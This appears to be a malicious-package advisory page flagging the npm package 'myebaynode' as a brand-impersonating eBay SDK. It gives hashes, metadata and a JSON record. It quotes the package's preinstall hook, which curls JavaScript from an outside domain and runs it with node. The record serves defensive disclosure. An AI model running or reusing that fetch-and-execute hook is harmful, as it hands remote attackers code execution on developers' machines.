MAL-2026-6296
Vulnerability from ossf_malicious_packages
Published
2026-06-23 14:09
Modified
2026-06-23 14:09
Summary
Malicious code in myebaynode (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (12d56c05672731322d45fb9273fb782a6b8042260fb019b2d96c755eed084fc3)

package.json declares a preinstall lifecycle hook that runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js, fetching JavaScript from an external, mutable, personal domain and immediately executing it under the installer's user account on npm install. The fetched payload is unpinned (no hash or signature verification), can be changed by the host's owner at any time, and runs with full filesystem and network access of the installing user. The package name 'myebaynode' with description 'Ebay Node Package', version 99.0.0, and minimal metadata (author 'aman', no repository) suggests brand-impersonation intended to lure developers searching for an eBay SDK.

CWE
  • CWE-506 - The product contains code that appears to be malicious in nature.
Credits

{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "package.json",
              "sha256": "9f676970e07f2718ac80aa9f44598be95d67f13c8b6c06499c930a8074bbd8d0",
              "tlsh": "a0e07d745d20117335c402e1cc2a9c4ed1925e3f0004380957db042c418eb7758ff31c"
            }
          ],
          "package_integrity": [
            {
              "filename": "myebaynode-99.0.0.tgz",
              "hashes": {
                "sha1": "4c42f5e72fc606a33b23a9b9857d58193cf1ca74",
                "sha512_sri": "sha512-r6POebR9Wes8FrM3bKz1a4x6l9hw6Iim/ve6olH19077JPm+r1A12dD9PrYfG6Id7ociquzcPUJU1VIp2FICYw=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "myebaynode"
      },
      "versions": [
        "99.0.0"
      ]
    }
  ],
  "credits": [
    {
      "contact": [
        "inspector-research@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-007197",
        "import_time": "2026-06-23T14:23:02.347959934Z",
        "modified_time": "2026-06-23T14:09:56Z",
        "sha256": "12d56c05672731322d45fb9273fb782a6b8042260fb019b2d96c755eed084fc3",
        "source": "amazon-inspector",
        "versions": [
          "99.0.0"
        ]
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (12d56c05672731322d45fb9273fb782a6b8042260fb019b2d96c755eed084fc3)\npackage.json declares a preinstall lifecycle hook that runs `curl https://poc.amanrawat.com/hehe.js -o index.js \u0026\u0026 node index.js`, fetching JavaScript from an external, mutable, personal domain and immediately executing it under the installer\u0027s user account on `npm install`. The fetched payload is unpinned (no hash or signature verification), can be changed by the host\u0027s owner at any time, and runs with full filesystem and network access of the installing user. The package name \u0027myebaynode\u0027 with description \u0027Ebay Node Package\u0027, version 99.0.0, and minimal metadata (author \u0027aman\u0027, no repository) suggests brand-impersonation intended to lure developers searching for an eBay SDK.\n",
  "id": "MAL-2026-6296",
  "modified": "2026-06-23T14:09:56Z",
  "published": "2026-06-23T14:09:56Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/myebaynode/v/99.0.0"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in myebaynode (npm)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…